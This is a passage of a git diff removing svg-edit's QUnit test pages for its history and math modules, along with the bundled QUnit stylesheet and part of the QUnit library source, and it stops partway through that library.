-	test('Test UndoManager.getNextRedoCommandText() function', function() {
-		expect(8);
-
-		setUp();
-
-		equals(undoMgr.getNextRedoCommandText(), '');
-
-		undoMgr.addCommandToHistory(new MockCommand('First'));
-		undoMgr.addCommandToHistory(new MockCommand('Second'));
-		undoMgr.addCommandToHistory(new MockCommand('Third'));
-
-		equals(undoMgr.getNextRedoCommandText(), '');
-
-		undoMgr.undo();
-		equals(undoMgr.getNextRedoCommandText(), 'Third');
-
-		undoMgr.undo();
-		equals(undoMgr.getNextRedoCommandText(), 'Second');
-
-		undoMgr.undo();
-		equals(undoMgr.getNextRedoCommandText(), 'First');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextRedoCommandText(), 'Second');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextRedoCommandText(), 'Third');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextRedoCommandText(), '');
-
-		tearDown();
-	});
-
-	test('Test UndoManager.undo() and redo() functions', function() {
-		expect(10);
-
-		setUp();
-
-		var lastCalled = null;
-		var cmd1 = new MockCommand();
-		var cmd2 = new MockCommand();
-		var cmd3 = new MockCommand();
-		cmd1.apply = function() { lastCalled = 'cmd1.apply'; };
-		cmd2.apply = function() { lastCalled = 'cmd2.apply'; };
-		cmd3.apply = function() { lastCalled = 'cmd3.apply'; };
-		cmd1.unapply = function() { lastCalled = 'cmd1.unapply'; };
-		cmd2.unapply = function() { lastCalled = 'cmd2.unapply'; };
-		cmd3.unapply = function() { lastCalled = 'cmd3.unapply'; };
-
-		undoMgr.addCommandToHistory(cmd1);
-		undoMgr.addCommandToHistory(cmd2);
-		undoMgr.addCommandToHistory(cmd3);
-
-		ok(!lastCalled);
-
-		undoMgr.undo();
-		equals(lastCalled, 'cmd3.unapply');
-
-		undoMgr.redo();
-		equals(lastCalled, 'cmd3.apply');
-
-		undoMgr.undo();
-		undoMgr.undo();
-		equals(lastCalled, 'cmd2.unapply');
-		
-		undoMgr.undo();
-		equals(lastCalled, 'cmd1.unapply');
-		lastCalled = null;
-
-		undoMgr.undo();
-		ok(!lastCalled);
-
-		undoMgr.redo();
-		equals(lastCalled, 'cmd1.apply');
-		
-		undoMgr.redo();
-		equals(lastCalled, 'cmd2.apply');
-
-		undoMgr.redo();
-		equals(lastCalled, 'cmd3.apply');
-		lastCalled = null;
-
-		undoMgr.redo();
-		ok(!lastCalled);
-
-		tearDown();
-	});
-
-	test('Test MoveElementCommand', function() {
-		expect(26);
-
-		setUp();
-
-		var move = new svgedit.history.MoveElementCommand(div3, div1, divparent);
-		ok(move.unapply);
-		ok(move.apply);
-		equals(typeof move.unapply, typeof function(){});
-		equals(typeof move.apply, typeof function(){});
-
-		move.unapply();
-		equals(divparent.firstElementChild, div3);
-		equals(divparent.firstElementChild.nextElementSibling, div1);
-		equals(divparent.lastElementChild, div2);
-
-		move.apply();
-		equals(divparent.firstElementChild, div1);
-		equals(divparent.firstElementChild.nextElementSibling, div2);
-		equals(divparent.lastElementChild, div3);
-
-		move = new svgedit.history.MoveElementCommand(div1, null, divparent);
-
-		move.unapply();
-		equals(divparent.firstElementChild, div2);
-		equals(divparent.firstElementChild.nextElementSibling, div3);
-		equals(divparent.lastElementChild, div1);
-
-		move.apply();
-		equals(divparent.firstElementChild, div1);
-		equals(divparent.firstElementChild.nextElementSibling, div2);
-		equals(divparent.lastElementChild, div3);
-
-		move = new svgedit.history.MoveElementCommand(div2, div5, div4);
-
-		move.unapply();
-		equals(divparent.firstElementChild, div1);
-		equals(divparent.firstElementChild.nextElementSibling, div3);
-		equals(divparent.lastElementChild, div3);
-		equals(div4.firstElementChild, div2);
-		equals(div4.firstElementChild.nextElementSibling, div5);
-
-		move.apply();
-		equals(divparent.firstElementChild, div1);
-		equals(divparent.firstElementChild.nextElementSibling, div2);
-		equals(divparent.lastElementChild, div3);
-		equals(div4.firstElementChild, div5);
-		equals(div4.lastElementChild, div5);
-
-		tearDown();
-	});
-
-	test('Test InsertElementCommand', function() {
-		expect(20);
-
-		setUp();
-
-		var insert = new svgedit.history.InsertElementCommand(div3);
-		ok(insert.unapply);
-		ok(insert.apply);
-		equals(typeof insert.unapply, typeof function(){});
-		equals(typeof insert.apply, typeof function(){});
-
-		insert.unapply();
-		equals(divparent.childElementCount, 2);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div2);
-		equals(divparent.lastElementChild, div2);
-
-		insert.apply();
-		equals(divparent.childElementCount, 3);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div2);
-		equals(div2.nextElementSibling, div3);
-
-		insert = new svgedit.history.InsertElementCommand(div2);
-
-		insert.unapply();
-		equals(divparent.childElementCount, 2);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div3);
-		equals(divparent.lastElementChild, div3);
-
-		insert.apply();
-		equals(divparent.childElementCount, 3);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div2);
-		equals(div2.nextElementSibling, div3);
-
-		tearDown();
-	});
-
-	test('Test RemoveElementCommand', function() {
-		expect(22);
-
-		setUp();
-
-		var div6 = document.createElement('div');
-		div6.id = 'div6';
-
-		var remove = new svgedit.history.RemoveElementCommand(div6, null, divparent);
-		ok(remove.unapply);
-		ok(remove.apply);
-		equals(typeof remove.unapply, typeof function(){});
-		equals(typeof remove.apply, typeof function(){});
-
-		remove.unapply();
-		equals(divparent.childElementCount, 4);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div2);
-		equals(div2.nextElementSibling, div3);
-		equals(div3.nextElementSibling, div6);
-
-		remove.apply();
-		equals(divparent.childElementCount, 3);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div2);
-		equals(div2.nextElementSibling, div3);
-
-		remove = new svgedit.history.RemoveElementCommand(div6, div2, divparent);
-
-		remove.unapply();
-		equals(divparent.childElementCount, 4);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div6);
-		equals(div6.nextElementSibling, div2);
-		equals(div2.nextElementSibling, div3);
-
-		remove.apply();
-		equals(divparent.childElementCount, 3);
-		equals(divparent.firstElementChild, div1);
-		equals(div1.nextElementSibling, div2);
-		equals(div2.nextElementSibling, div3);
-
-		tearDown();
-	});
-
-	test('Test ChangeElementCommand', function() {
-		expect(20);
-
-		setUp();
-
-		div1.setAttribute('title', 'new title');
-		var change = new svgedit.history.ChangeElementCommand(div1,
-			{'title': 'old title', 'class': 'foo'});
-		ok(change.unapply);
-		ok(change.apply);
-		equals(typeof change.unapply, typeof function(){});
-		equals(typeof change.apply, typeof function(){});
-
-		change.unapply();
-		equals(div1.getAttribute('title'), 'old title');
-		equals(div1.getAttribute('class'), 'foo');
-
-		change.apply();
-		equals(div1.getAttribute('title'), 'new title');
-		ok(!div1.getAttribute('class'));
-
-		div1.textContent = 'inner text';
-		change = new svgedit.history.ChangeElementCommand(div1,
-			{'#text': null});
-
-		change.unapply();
-		ok(!div1.textContent);
-
-		change.apply();
-		equals(div1.textContent, 'inner text');
-
-		div1.textContent = '';
-		change = new svgedit.history.ChangeElementCommand(div1,
-			{'#text': 'old text'});
-
-		change.unapply();
-		equals(div1.textContent, 'old text');
-
-		change.apply();
-		ok(!div1.textContent);
-
-		// TODO(codedread): Refactor this #href stuff in history.js and svgcanvas.js
-		var rect = document.createElementNS(svgns, 'rect');
-		var justCalled = null;
-		var gethrefvalue = null;
-		var sethrefvalue = null;
-		svgedit.utilities.getHref = function(elem) {
-			equals(elem, rect);
-			justCalled = 'getHref';
-			return gethrefvalue;
-		};
-		svgedit.utilities.setHref = function(elem, val) {
-			equals(elem, rect);
-			equals(val, sethrefvalue);
-			justCalled = 'setHref';
-		};
-
-		gethrefvalue = '#newhref';
-		change = new svgedit.history.ChangeElementCommand(rect,
-			{'#href': '#oldhref'});
-		equals(justCalled, 'getHref');
-
-		justCalled = null;
-		sethrefvalue = '#oldhref';
-		change.unapply();
-		equals(justCalled, 'setHref');
-
-		justCalled = null;
-		sethrefvalue = '#newhref';
-		change.apply();
-		equals(justCalled, 'setHref');
-
-		tearDown();
-	});
-
-	test('Test BatchCommand', function() {
-		expect(13);
-
-		setUp();
-
-		var concatResult = '';
-		MockCommand.prototype.apply = function() { concatResult += this.text_; };
-
-		var batch = new svgedit.history.BatchCommand();
-		ok(batch.unapply);
-		ok(batch.apply);
-		ok(batch.addSubCommand);
-		ok(batch.isEmpty);
-		equals(typeof batch.unapply, typeof function(){});
-		equals(typeof batch.apply, typeof function(){});
-		equals(typeof batch.addSubCommand, typeof function(){});
-		equals(typeof batch.isEmpty, typeof function(){});
-
-		ok(batch.isEmpty());
-
-		batch.addSubCommand(new MockCommand('a'));
-		ok(!batch.isEmpty());
-		batch.addSubCommand(new MockCommand('b'));
-		batch.addSubCommand(new MockCommand('c'));
-
-		ok(!concatResult);
-		batch.apply();
-		equals(concatResult, 'abc');
-
-		MockCommand.prototype.apply = function() {};
-		MockCommand.prototype.unapply = function() { concatResult += this.text_; };
-		concatResult = '';
-		batch.unapply();
-		equals(concatResult, 'cba');
-
-		MockCommand.prototype.unapply = function() {};
-
-		tearDown();
-	});
-
-
-  });
-  </script>
-</head>  
-<body>  
-  <h1 id='qunit-header'>Unit Tests for history.js</h1>
-  <h2 id='qunit-banner'></h2>
-  <h2 id='qunit-userAgent'></h2>
-  <ol id='qunit-tests'>
-  </ol>
-  <div id='divparent' style='visibility:hidden'>
-    <div id='div1'></div>
-    <div id='div2'></div>
-    <div id='div3'></div>
-  </div>
-  <div id='div4' style='visibility:hidden'>
-    <div id='div5'></div>
-  </div>
-</body>  
-</html>
diff --git a/public/svg-edit/test/math_test.html b/public/svg-edit/test/math_test.html
deleted file mode 100644
index 408f5c88..00000000
--- a/public/svg-edit/test/math_test.html
+++ /dev/null
@@ -1,114 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <link rel='stylesheet' href='qunit/qunit.css' type='text/css'/>
-  <script src='../editor/jquery.js'></script>
-  <script type='text/javascript' src='../editor/math.js'></script>
-  <script type='text/javascript' src='qunit/qunit.js'></script>
-  <script type='text/javascript'>
-  $(function() {
-  	// log function
-  	QUnit.log = function(result, message) {
-		if (window.console && window.console.log) {
-			window.console.log(result +' :: '+ message);
-		}
-	};
-
-	var svgns = 'http://www.w3.org/2000/svg';
-	var svg = document.createElementNS(svgns, 'svg');
-
-	module('svgedit.math');
-
-	test('Test svgedit.math package', function() {
-		expect(7);
-		
-		ok(svgedit.math);
-		ok(svgedit.math.transformPoint);
-		ok(svgedit.math.isIdentity);
-		ok(svgedit.math.matrixMultiply);
-		equals(typeof svgedit.math.transformPoint, typeof function(){});
-		equals(typeof svgedit.math.isIdentity, typeof function(){});
-		equals(typeof svgedit.math.matrixMultiply, typeof function(){});
-	});
-
-	test('Test svgedit.math.transformPoint() function', function() {
-		expect(6);
-		var transformPoint = svgedit.math.transformPoint;
-
-		var m = svg.createSVGMatrix();
-		m.a = 1; m.b = 0;
-		m.c = 0; m.d = 1;
-		m.e = 0; m.f = 0;
-		var pt = transformPoint(100, 200, m);
-		equals(pt.x, 100);
-		equals(pt.y, 200);
-		
-		m.e = 300; m.f = 400;
-		pt = transformPoint(100, 200, m);
-		equals(pt.x, 400);
-		equals(pt.y, 600);
-		
-		m.a = 0.5; m.b = 0.75;
-		m.c = 1.25; m.d = 2;
-		pt = transformPoint(100, 200, m);
-		equals(pt.x, 100 * m.a + 200 * m.c + m.e);
-		equals(pt.y, 100 * m.b + 200 * m.d + m.f);
-	});
-	
-	test('Test svgedit.math.isIdentity() function', function() {
-		expect(2);
-
-		ok(svgedit.math.isIdentity(svg.createSVGMatrix()));
-
-		var m = svg.createSVGMatrix();
-		m.a = 1; m.b = 0;
-		m.c = 0; m.d = 1;
-		m.e = 0; m.f = 0;
-		ok(svgedit.math.isIdentity(m));
-	});
-
-	test('Test svgedit.math.matrixMultiply() function', function() {
-		expect(5);
-		var mult = svgedit.math.matrixMultiply;
-		var isIdentity = svgedit.math.isIdentity;
-
-		// translate there and back
-		var tr_1 = svg.createSVGMatrix().translate(100,50),
-			tr_2 = svg.createSVGMatrix().translate(-90,0),
-			tr_3 = svg.createSVGMatrix().translate(-10,-50),
-			I = mult(tr_1,tr_2,tr_3);
-		ok(isIdentity(I), 'Expected identity matrix when translating there and back');
-
-		// rotate there and back
-		// TODO: currently Mozilla fails this when rotating back at -50 and then -40 degrees
-		// (b and c are *almost* zero, but not zero)
-		var rot_there = svg.createSVGMatrix().rotate(90),
-			rot_back = svg.createSVGMatrix().rotate(-90); // TODO: set this to -50
-			rot_back_more = svg.createSVGMatrix().rotate(0); // TODO: set this to -40
-		I = mult(rot_there, rot_back, rot_back_more);
-		ok(isIdentity(I), 'Expected identity matrix when rotating there and back');
-
-		// scale up and down
-		var scale_up = svg.createSVGMatrix().scale(4),
-			scale_down = svg.createSVGMatrix().scaleNonUniform(0.25,1);
-			scale_down_more = svg.createSVGMatrix().scaleNonUniform(1,0.25);
-		I = mult(scale_up, scale_down, scale_down_more);
-		ok(isIdentity(I), 'Expected identity matrix when scaling up and down');
-
-		// test multiplication with its inverse 
-		I = mult(rot_there, rot_there.inverse());
-		ok(isIdentity(I), 'Expected identity matrix when multiplying a matrix by its inverse');
-		I = mult(rot_there.inverse(), rot_there);
-		ok(isIdentity(I), 'Expected identity matrix when multiplying a matrix by its inverse');
-	});
-  }); 
-  </script>  
-</head>  
-<body>  
-  <h1 id='qunit-header'>Unit Tests for math.js</h1>
-  <h2 id='qunit-banner'></h2>
-  <h2 id='qunit-userAgent'></h2>
-  <ol id='qunit-tests'>
-  </ol>
-</body>  
-</html>
diff --git a/public/svg-edit/test/qunit/qunit.css b/public/svg-edit/test/qunit/qunit.css
deleted file mode 100644
index 5714bf4a..00000000
--- a/public/svg-edit/test/qunit/qunit.css
+++ /dev/null
@@ -1,119 +0,0 @@
-
-ol#qunit-tests {
-	font-family:"Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial;
-	margin:0;
-	padding:0;
-	list-style-position:inside;
-
-	font-size: smaller;
-}
-ol#qunit-tests li{
-	padding:0.4em 0.5em 0.4em 2.5em;
-	border-bottom:1px solid #fff;
-	font-size:small;
-	list-style-position:inside;
-}
-ol#qunit-tests li ol{
-	box-shadow: inset 0px 2px 13px #999;
-	-moz-box-shadow: inset 0px 2px 13px #999;
-	-webkit-box-shadow: inset 0px 2px 13px #999;
-	margin-top:0.5em;
-	margin-left:0;
-	padding:0.5em;
-	background-color:#fff;
-	border-radius:15px;
-	-moz-border-radius: 15px;
-	-webkit-border-radius: 15px;
-}
-ol#qunit-tests li li{
-	border-bottom:none;
-	margin:0.5em;
-	background-color:#fff;
-	list-style-position: inside;
-	padding:0.4em 0.5em 0.4em 0.5em;
-}
-
-ol#qunit-tests li li.pass{
-	border-left:26px solid #C6E746;
-	background-color:#fff;
-	color:#5E740B;
-	}
-ol#qunit-tests li li.fail{
-	border-left:26px solid #EE5757;
-	background-color:#fff;
-	color:#710909;
-}
-ol#qunit-tests li.pass{
-	background-color:#D2E0E6;
-	color:#528CE0;
-}
-ol#qunit-tests li.fail{
-	background-color:#EE5757;
-	color:#000;
-}
-ol#qunit-tests li strong {
-	cursor:pointer;
-}
-h1#qunit-header{
-	background-color:#0d3349;
-	margin:0;
-	padding:0.5em 0 0.5em 1em;
-	color:#fff;
-	font-family:"Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial;
-	border-top-right-radius:15px;
-	border-top-left-radius:15px;
-	-moz-border-radius-topright:15px;
-	-moz-border-radius-topleft:15px;
-	-webkit-border-top-right-radius:15px;
-	-webkit-border-top-left-radius:15px;
-	text-shadow: rgba(0, 0, 0, 0.5) 4px 4px 1px;
-}
-h2#qunit-banner{
-	font-family:"Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial;
-	height:5px;
-	margin:0;
-	padding:0;
-}
-h2#qunit-banner.qunit-pass{
-	background-color:#C6E746;
-}
-h2#qunit-banner.qunit-fail, #qunit-testrunner-toolbar {
-	background-color:#EE5757;
-}
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-	font-family:"Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial;
-	padding:0;
-	/*width:80%;*/
-	padding:0em 0 0.5em 2em;
-	font-size: small;
-}
-h2#qunit-userAgent {
-	font-family:"Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial;
-	background-color:#2b81af;
-	margin:0;
-	padding:0;
-	color:#fff;
-	font-size: small;
-	padding:0.5em 0 0.5em 2.5em;
-	text-shadow: rgba(0, 0, 0, 0.5) 2px 2px 1px;
-}
-p#qunit-testresult{
-	font-family:"Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial;
-	margin:0;
-	font-size: small;
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-	border-bottom-right-radius:15px;
-	border-bottom-left-radius:15px;
-	-moz-border-radius-bottomright:15px;
-	-moz-border-radius-bottomleft:15px;
-	-webkit-border-bottom-right-radius:15px;
-	-webkit-border-bottom-left-radius:15px;
-	background-color:#D2E0E6;
-	padding:0.5em 0.5em 0.5em 2.5em;
-}
-strong b.fail{
-	color:#710909;
-	}
-strong b.pass{
-	color:#5E740B;
-	}
diff --git a/public/svg-edit/test/qunit/qunit.js b/public/svg-edit/test/qunit/qunit.js
deleted file mode 100644
index 8bef0261..00000000
--- a/public/svg-edit/test/qunit/qunit.js
+++ /dev/null
@@ -1,1042 +0,0 @@
-/*
- * QUnit - A JavaScript Unit Testing Framework
- * 
- * http://docs.jquery.com/QUnit
- *
- * Copyright (c) 2009 John Resig, Jörn Zaefferer
- * Dual licensed under the MIT (MIT-LICENSE.txt)
- * and GPL (GPL-LICENSE.txt) licenses.
- */
-
-(function(window) {
-
-var QUnit = {
-
-	// Initialize the configuration options
-	init: function() {
-		config = {
-			stats: { all: 0, bad: 0 },
-			moduleStats: { all: 0, bad: 0 },
-			started: +new Date,
-			blocking: false,
-			autorun: false,
-			assertions: [],
-			filters: [],
-			queue: []
-		};
-
-		var tests = id("qunit-tests"),
-			banner = id("qunit-banner"),
-			result = id("qunit-testresult");
-
-		if ( tests ) {
-			tests.innerHTML = "";
-		}
-
-		if ( banner ) {
-			banner.className = "";
-		}
-
-		if ( result ) {
-			result.parentNode.removeChild( result );
-		}
-	},
-	
-	// call on start of module test to prepend name to all tests
-	module: function(name, testEnvironment) {
-		config.currentModule = name;
-
-		synchronize(function() {
-			if ( config.currentModule ) {
-				QUnit.moduleDone( config.currentModule, config.moduleStats.bad, config.moduleStats.all );
-			}
-
-			config.currentModule = name;
-			config.moduleTestEnvironment = testEnvironment;
-			config.moduleStats = { all: 0, bad: 0 };
-
-			QUnit.moduleStart( name, testEnvironment );
-		});
-	},
-
-	asyncTest: function(testName, expected, callback) {
-		if ( arguments.length === 2 ) {
-			callback = expected;
-			expected = 0;
-		}
-
-		QUnit.test(testName, expected, callback, true);
-	},
-	
-	test: function(testName, expected, callback, async) {
-		var name = testName, testEnvironment, testEnvironmentArg;
-
-		if ( arguments.length === 2 ) {
-			callback = expected;
-			expected = null;
-		}
-		// is 2nd argument a testEnvironment?
-		if ( expected && typeof expected === 'object') {
-			testEnvironmentArg =  expected;
-			expected = null;
-		}
-
-		if ( config.currentModule ) {
-			name = config.currentModule + " module: " + name;
-		}
-
-		if ( !validTest(name) ) {
-			return;
-		}
-
-		synchronize(function() {
-			QUnit.testStart( testName );
-
-			testEnvironment = extend({
-				setup: function() {},
-				teardown: function() {}
-			}, config.moduleTestEnvironment);
-			if (testEnvironmentArg) {
-				extend(testEnvironment,testEnvironmentArg);
-			}
-
-			// allow utility functions to access the current test environment
-			QUnit.current_testEnvironment = testEnvironment;
-			
-			config.assertions = [];
-			config.expected = expected;
-
-			try {
-				if ( !config.pollution ) {
-					saveGlobal();
-				}
-
-				testEnvironment.setup.call(testEnvironment);
-			} catch(e) {
-				QUnit.ok( false, "Setup failed on " + name + ": " + e.message );
-			}
-
-			if ( async ) {
-				QUnit.stop();
-			}
-
-			try {
-				callback.call(testEnvironment);
-			} catch(e) {
-				fail("Test " + name + " died, exception and test follows", e, callback);
-				QUnit.ok( false, "Died on test #" + (config.assertions.length + 1) + ": " + e.message );
-				// else next test will carry the responsibility
-				saveGlobal();
-
-				// Restart the tests if they're blocking
-				if ( config.blocking ) {
-					start();
-				}
-			}
-		});
-
-		synchronize(function() {
-			try {
-				checkPollution();
-				testEnvironment.teardown.call(testEnvironment);
-			} catch(e) {
-				QUnit.ok( false, "Teardown failed on " + name + ": " + e.message );
-			}
-
-			try {
-				QUnit.reset();
-			} catch(e) {
-				fail("reset() failed, following Test " + name + ", exception and reset fn follows", e, reset);
-			}
-
-			if ( config.expected && config.expected != config.assertions.length ) {
-				QUnit.ok( false, "Expected " + config.expected + " assertions, but " + config.assertions.length + " were run" );
-			}
-
-			var good = 0, bad = 0,
-				tests = id("qunit-tests");
-
-			config.stats.all += config.assertions.length;
-			config.moduleStats.all += config.assertions.length;
-
-			if ( tests ) {
-				var ol  = document.createElement("ol");
-				ol.style.display = "none";
-
-				for ( var i = 0; i < config.assertions.length; i++ ) {
-					var assertion = config.assertions[i];
-
-					var li = document.createElement("li");
-					li.className = assertion.result ? "pass" : "fail";
-					li.appendChild(document.createTextNode(assertion.message || "(no message)"));
-					ol.appendChild( li );
-
-					if ( assertion.result ) {
-						good++;
-					} else {
-						bad++;
-						config.stats.bad++;
-						config.moduleStats.bad++;
-					}
-				}
-
-				var b = document.createElement("strong");
-				b.innerHTML = name + " <b style='color:black;'>(<b class='fail'>" + bad + "</b>, <b class='pass'>" + good + "</b>, " + config.assertions.length + ")</b>";
-				
-				addEvent(b, "click", function() {
-					var next = b.nextSibling, display = next.style.display;
-					next.style.display = display === "none" ? "block" : "none";
-				});
-				
-				addEvent(b, "dblclick", function(e) {
-					var target = e && e.target ? e.target : window.event.srcElement;
-					if ( target.nodeName.toLowerCase() === "strong" ) {
-						var text = "", node = target.firstChild;
-
-						while ( node.nodeType === 3 ) {
-							text += node.nodeValue;
-							node = node.nextSibling;
-						}
-
-						text = text.replace(/(^\s*|\s*$)/g, "");
-
-						if ( window.location ) {
-							window.location.href = window.location.href.match(/^(.+?)(\?.*)?$/)[1] + "?" + encodeURIComponent(text);
-						}
-					}
-				});
-
-				var li = document.createElement("li");
-				li.className = bad ? "fail" : "pass";
-				li.appendChild( b );
-				li.appendChild( ol );
-				tests.appendChild( li );
-
-				if ( bad ) {
-					var toolbar = id("qunit-testrunner-toolbar");
-					if ( toolbar ) {
-						toolbar.style.display = "block";
-						id("qunit-filter-pass").disabled = null;
-						id("qunit-filter-missing").disabled = null;
-					}
-				}
-
-			} else {
-				for ( var i = 0; i < config.assertions.length; i++ ) {
-					if ( !config.assertions[i].result ) {
-						bad++;
-						config.stats.bad++;
-						config.moduleStats.bad++;
-					}
-				}
-			}
-
-			QUnit.testDone( testName, bad, config.assertions.length );
-
-			if ( !window.setTimeout && !config.queue.length ) {
-				done();
-			}
-		});
-
-		if ( window.setTimeout && !config.doneTimer ) {
-			config.doneTimer = window.setTimeout(function(){
-				if ( !config.queue.length ) {
-					done();
-				} else {
-					synchronize( done );
-				}
-			}, 13);
-		}
-	},
-	
-	/**
-	 * Specify the number of expected assertions to gurantee that failed test (no assertions are run at all) don't slip through.
-	 */
-	expect: function(asserts) {
-		config.expected = asserts;
-	},
-
-	/**
-	 * Asserts true.
-	 * @example ok( "asdfasdf".length > 5, "There must be at least 5 chars" );
-	 */
-	ok: function(a, msg) {
-		QUnit.log(a, msg);
-
-		config.assertions.push({
-			result: !!a,
-			message: msg
-		});
-	},
-
-	/**
-	 * Checks that the first two arguments are equal, with an optional message.
-	 * Prints out both actual and expected values.
-	 *
-	 * Prefered to ok( actual == expected, message )
-	 *
-	 * @example equal( format("Received {0} bytes.", 2), "Received 2 bytes." );
-	 *
-	 * @param Object actual
-	 * @param Object expected
-	 * @param String message (optional)
-	 */
-	equal: function(actual, expected, message) {
-		push(expected == actual, actual, expected, message);
-	},
-
-	notEqual: function(actual, expected, message) {
-		push(expected != actual, actual, expected, message);
-	},
-	
-	deepEqual: function(a, b, message) {
-		push(QUnit.equiv(a, b), a, b, message);
-	},
-
-	notDeepEqual: function(a, b, message) {
-		push(!QUnit.equiv(a, b), a, b, message);
-	},
-
-	strictEqual: function(actual, expected, message) {
-		push(expected === actual, actual, expected, message);
-	},
-
-	notStrictEqual: function(actual, expected, message) {
-		push(expected !== actual, actual, expected, message);
-	},
-	
-	start: function() {
-		// A slight delay, to avoid any current callbacks
-		if ( window.setTimeout ) {
-			window.setTimeout(function() {
-				if ( config.timeout ) {
-					clearTimeout(config.timeout);
-				}
-
-				config.blocking = false;
-				process();
-			}, 13);
-		} else {
-			config.blocking = false;
-			process();
-		}
-	},
-	
-	stop: function(timeout) {
-		config.blocking = true;
-
-		if ( timeout && window.setTimeout ) {
-			config.timeout = window.setTimeout(function() {
-				QUnit.ok( false, "Test timed out" );
-				QUnit.start();
-			}, timeout);
-		}
-	},
-	
-	/**
-	 * Resets the test setup. Useful for tests that modify the DOM.
-	 */
-	reset: function() {
-		if ( window.jQuery ) {
-			jQuery("#main").html( config.fixture );
-			jQuery.event.global = {};
-			jQuery.ajaxSettings = extend({}, config.ajaxSettings);
-		}
-	},
-	
-	/**
-	 * Trigger an event on an element.
-	 *
-	 * @example triggerEvent( document.body, "click" );
-	 *
-	 * @param DOMElement elem
-	 * @param String type
-	 */
-	triggerEvent: function( elem, type, event ) {
-		if ( document.createEvent ) {
-			event = document.createEvent("MouseEvents");
-			event.initMouseEvent(type, true, true, elem.ownerDocument.defaultView,
-				0, 0, 0, 0, 0, false, false, false, false, 0, null);
-			elem.dispatchEvent( event );
-
-		} else if ( elem.fireEvent ) {
-			elem.fireEvent("on"+type);
-		}
-	},
-	
-	// Safe object type checking
-	is: function( type, obj ) {
-		return Object.prototype.toString.call( obj ) === "[object "+ type +"]";
-	},
-	
-	// Logging callbacks
-	done: function(failures, total) {},
-	log: function(result, message) {},
-	testStart: function(name) {},
-	testDone: function(name, failures, total) {},
-	moduleStart: function(name, testEnvironment) {},
-	moduleDone: function(name, failures, total) {}
-};
-
-// Backwards compatibility, deprecated
-QUnit.equals = QUnit.equal;
-QUnit.same = QUnit.deepEqual;
-
-// Maintain internal state
-var config = {
-	// The queue of tests to run
-	queue: [],
-
-	// block until document ready
-	blocking: true
-};
-
-// Load paramaters
-(function() {
-	var location = window.location || { search: "", protocol: "file:" },
-		GETParams = location.search.slice(1).split('&');
-
-	for ( var i = 0; i < GETParams.length; i++ ) {
-		GETParams[i] = decodeURIComponent( GETParams[i] );
-		if ( GETParams[i] === "noglobals" ) {
-			GETParams.splice( i, 1 );
-			i--;
-			config.noglobals = true;
-		} else if ( GETParams[i].search('=') > -1 ) {
-			GETParams.splice( i, 1 );
-			i--;
-		}
-	}
-	
-	// restrict modules/tests by get parameters
-	config.filters = GETParams;
-	
-	// Figure out if we're running the tests from a server or not
-	QUnit.isLocal = !!(location.protocol === 'file:');
-})();
-
-// Expose the API as global variables, unless an 'exports'
-// object exists, in that case we assume we're in CommonJS
-if ( typeof exports === "undefined" || typeof require === "undefined" ) {
-	extend(window, QUnit);
-	window.QUnit = QUnit;
-} else {
-	extend(exports, QUnit);
-	exports.QUnit = QUnit;
-}
-
-if ( typeof document === "undefined" || document.readyState === "complete" ) {
-	config.autorun = true;
-}
-
-addEvent(window, "load", function() {
-	// Initialize the config, saving the execution queue
-	var oldconfig = extend({}, config);
-	QUnit.init();
-	extend(config, oldconfig);
-
-	config.blocking = false;
-
-	var userAgent = id("qunit-userAgent");
-	if ( userAgent ) {
-		userAgent.innerHTML = navigator.userAgent;
-	}
-	
-	var toolbar = id("qunit-testrunner-toolbar");
-	if ( toolbar ) {
-		toolbar.style.display = "none";
-		
-		var filter = document.createElement("input");
-		filter.type = "checkbox";
-		filter.id = "qunit-filter-pass";
-		filter.disabled = true;
-		addEvent( filter, "click", function() {
-			var li = document.getElementsByTagName("li");
-			for ( var i = 0; i < li.length; i++ ) {
-				if ( li[i].className.indexOf("pass") > -1 ) {
-					li[i].style.display = filter.checked ? "none" : "";
-				}
-			}
-		});
-		toolbar.appendChild( filter );
-
-		var label = document.createElement("label");
-		label.setAttribute("for", "qunit-filter-pass");
-		label.innerHTML = "Hide passed tests";
-		toolbar.appendChild( label );
-
-		var missing = document.createElement("input");
-		missing.type = "checkbox";
-		missing.id = "qunit-filter-missing";
-		missing.disabled = true;
-		addEvent( missing, "click", function() {
-			var li = document.getElementsByTagName("li");
-			for ( var i = 0; i < li.length; i++ ) {
-				if ( li[i].className.indexOf("fail") > -1 && li[i].innerHTML.indexOf('missing test - untested code is broken code') > - 1 ) {
-					li[i].parentNode.parentNode.style.display = missing.checked ? "none" : "block";
-				}
-			}
-		});
-		toolbar.appendChild( missing );
-
-		label = document.createElement("label");
-		label.setAttribute("for", "qunit-filter-missing");
-		label.innerHTML = "Hide missing tests (untested code is broken code)";
-		toolbar.appendChild( label );
-	}
-
-	var main = id('main');
-	if ( main ) {
-		config.fixture = main.innerHTML;
-	}
-
-	if ( window.jQuery ) {
-		config.ajaxSettings = window.jQuery.ajaxSettings;
-	}
-
-	QUnit.start();
-});
-
-function done() {
-	if ( config.doneTimer && window.clearTimeout ) {
-		window.clearTimeout( config.doneTimer );
-		config.doneTimer = null;
-	}
-
-	if ( config.queue.length ) {
-		config.doneTimer = window.setTimeout(function(){
-			if ( !config.queue.length ) {
-				done();
-			} else {
-				synchronize( done );
-			}
-		}, 13);
-
-		return;
-	}
-
-	config.autorun = true;
-
-	// Log the last module results
-	if ( config.currentModule ) {
